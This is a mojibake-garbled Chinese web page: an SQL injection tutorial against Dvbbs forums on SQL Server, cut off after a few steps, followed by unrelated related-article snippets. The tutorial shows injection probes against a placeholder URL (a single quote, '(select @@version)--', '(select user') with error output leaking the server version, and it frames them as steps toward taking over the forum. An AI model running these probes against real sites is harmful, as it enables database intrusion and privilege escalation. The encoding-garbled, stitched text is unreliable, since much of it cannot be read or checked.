Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

SQL×¢ÈëÈëÇÖ¶¯ÍøSQL

±à¼­Ç°ÑÔ£ºÕâ¸öÎÄÕÂÎÒûÓвâÊÔ£¬µ«Ç°ÌáÌõ¼þ»¹ÊǺܶ࣬±ÈÈçÒ»¶¨ÒªÓбðµÄ³ÌÐò´æÔÚ£¬¶øÇÒÒ²ÒªÓÃͬһ¸öSQLSERVER¿â£¬»¹µÃ¼ÙÉèÓÐ×¢Èë©¶´¡£Ëµµ½µ×ºÍ¶¯ÍøÃ»ÓÐʲô¹ØÏµ£¬µ«ÒòΪ¶¯ÍøÂÛ̳µÄ¿ª·ÅÐÔ£¬ÈÃÈËÊìϤÁËÆäÊý¾Ý¿â½á¹¹£¬ºÍ³ÌÐòÔË×÷·½·¨¡£ÔÚÒ»²½²½µÄ¹¥»÷ÖÐÈ¡µÃ¹ÜÀíȨÏÞ£¬ÔÙÒ»²½²½µÄÌáÉýȨÏÞ£¬Èç¹ûÕýºÃÊý¾Ý¿âÓõÄÊÇSAÕʺţ¬¾Í¸üÊÇÂé·³ÁË¡£
ÕýÊÇÓÉÓÚÕâЩÌõ¼þµÄ¼ÙÉ裬ËùÒÔ´ó¼ÒÒ²²»ÓÃÌ«½ôÕÅ£¬ÕâÀïÌṩµÄÊǺܶàÀíÏë״̬ϵÄÈëÇÖÐÐΪ£¬ÔÚ±à³ÌÖмõÉÙ°²È«Â©¶´ÊÇÎÒÃÇÿ¸ö³ÌÐòԱҪעÒâµÄ¡£¶øÕ¾³¤ÔÚ×éºÏʹÓöà¸ö³ÌÐòµÄʱºò£¬Ò²Òª×¢ÒⰲȫºÍ³ÌÐòµÄÍêÕûÐÔ¡£
ÔÚÎÒËùÁ˽âµÄ¶à¸ö¶¯Íø7.0+sp2 µÄ°æ±¾Ò²ÓÐ2£­3´Î±»ºÚÏÖÏó£¬ËùÒÔ´ó¼Ò»¹Òª¼°Ê±×¢ÒâÉý¼¶£¬Ïêϸ½øÐÐȨÏÞÉèÖᣲ¢²»ÊÇ˵¶¯Íø²»ºÃ£¬¶øÊÇ˵Ëû³ÌÐòµÄ¿ª·ÅÐÔ£¬ÓõÄÈ˺ܶ࣬ÕÒ³öÀ´µÄBUG»áºÜ¶à£¬Èí¼þѧÀï˵ÁË£¬ÓõÄÔ½¶à£¬BUG»áÔ½¶à¡£Ïà¶ÔÀ´Ëµ£¬ÎÒϲ»¶×Ô¼º¶¨ÖÆ»¯¿ª·¢µÄ³ÌÐò£¬Ïà¶ÔÀ´Ëµ»á°²È«Ò»Ð©¡£
ÏÂÃæÊÇÁùÖÐÄк¢µÄÕýÎÄ
ÏÖÔÚ¶¯Íø×îа汾ÊÇ7.0+SP2¡£Ó¦¸Ã˵°²È«ÐÔÒѾ­ÊǺܸߵÄÁË¡£ËùÒԴӽű¾±¾ÉíµÄÎÊÌâÈ¥Í»ÆÆËüÄѶȲ»Ð¡¡£µ«ÊÇÎÒÃÇ¿ÉÒÔ´ÓÍⲿµÄһЩ;¾¶¼ä½Ó“¸ã¶¨”¶¯Íø.ÏÖÔÚIIS+ASP+SQL2000µÄ×éºÏÊDZȽϳ£¼ûµÄ¡£¶øÒ»¸öÍøÕ¾ÔËÓôóÁ¿µÄASP½Å±¾³ÌÐò£¬ÄÑÃâ²»³öç¢Â©¡£Èç¹ûһ̨Ö÷»úÉÏ´æÔÚij¸öSQL×¢Èëµã£¬¶øÕą̂Ö÷»úÓÖ°²×°Óж¯ÍøSQL°æµÄ»°£¬»ù±¾ÉÏ¿ÉÒԵóö½áÂÛ£ºÕâ¸ö¶¯Íø¾ÍÊÇÄãµÄÁË¡£ÏÂÃæÀ´¿´Ò»ÏÂʵÀý¡£
Ò»¡¢ Ê×ÏÈÈ·¶¨Ä¿±ê¡£¼ÙÉèÒÔÏÂURL´æÔÚSQL×¢È룺
http://www.xxx.com/type.asp?id=6 ²âÊÔÄÜ·ñ×¢Èë¿ÉÒÔÔÚ6ºóÃæ¼Ó¸öµ¥ÒýºÅ¡£
http://www.xxx.com/type.aspid=6' ·µ»Ø´íÎóÌáʾ£º
Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]×Ö·û´® '' ֮ǰÓÐδ±ÕºÏµÄÒýºÅ¡£
¼ÌÐø£¬ÏÈ̽²âÒ»ÏÂϵͳ°æ±¾£º
http://www.xxx.com/type.asp?id=(select @@version)--
·µ»Ø£º Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]½« nvarchar Öµ 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
¿´À´ÒѾ­´òÉÏ×îеÄSP4²¹¶¡¡£
È¡µÃµ±Ç°Á¬½ÓÊý¾Ý¿âÓû§£º
http://www.xxx.com/type.asp?id=(select user


Ïà¹ØÎĵµ£º

SQLÖÐʹÓÃCONVERTת»»Ê±¼äÊä³ö¸ñʽ

SELECT CONVERT(varchar(100), GETDATE(), 0): 05 16 2006 10:57AM
SELECT CONVERT(varchar(100), GETDATE(), 1): 05/16/06
SELECT CONVERT(varchar(100), GETDATE(), 2): 06.05.16
SELECT CONVERT(varchar(100), GETDATE(), 3): 16/05/06
SELECT CONVERT(varchar(100), GETDATE(), 4): 16.05.06
SELECT CONVERT(varch ......

·À·¶SQL×¢Èëʽ¹¥»÷

SQL×¢Èëʽ¹¥»÷ÊÇÀûÓÃÊÇÖ¸ÀûÓÃÉè¼ÆÉϵÄ©¶´£¬ÔÚÄ¿±ê·þÎñÆ÷ÉÏÔËÐÐSqlÃüÁîÒÔ¼°½øÐÐÆäËû·½Ê½µÄ¹¥»÷¶¯Ì¬Éú³ÉSqlÃüÁîʱûÓжÔÓû§ÊäÈëµÄÊý¾Ý½øÐÐÑéÖ¤ÊÇSql×¢Èë¹¥»÷µÃ³ÑµÄÖ÷ÒªÔ­Òò¡£
±ÈÈ磺
Èç¹ûÄãµÄ²éѯÓï¾äÊÇselect * from admin where username="&user&" and password="&pwd&""
 ÄÇô£¬Èç¹ûÎÒµÄÓû§ÃûÊ ......

ÊÖ¹¤ÍêÈ«Ð¶ÔØSQL SERVER2000Êý¾Ý¿â

ÔÚ½øÐвÙ×÷֮ǰ£¬½¨Ò鱸·ÝºÃ×¢²á±íÒÔ¼°ÖØÒªµÄÊý¾Ý¿âÎļþ¡£
£¨1£© ɾ³ýÒÔÏÂ×¢²á±í×ÓÏ
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Microsoft SQL Server
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentC ......

Ëæ»ú¶ÁÈ¡Êý¾Ýsql access

                Random rnd = new Random(unchecked((int)DateTime.Now.Ticks));
                int intRandomNumber = rnd.Next();
   &nb ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ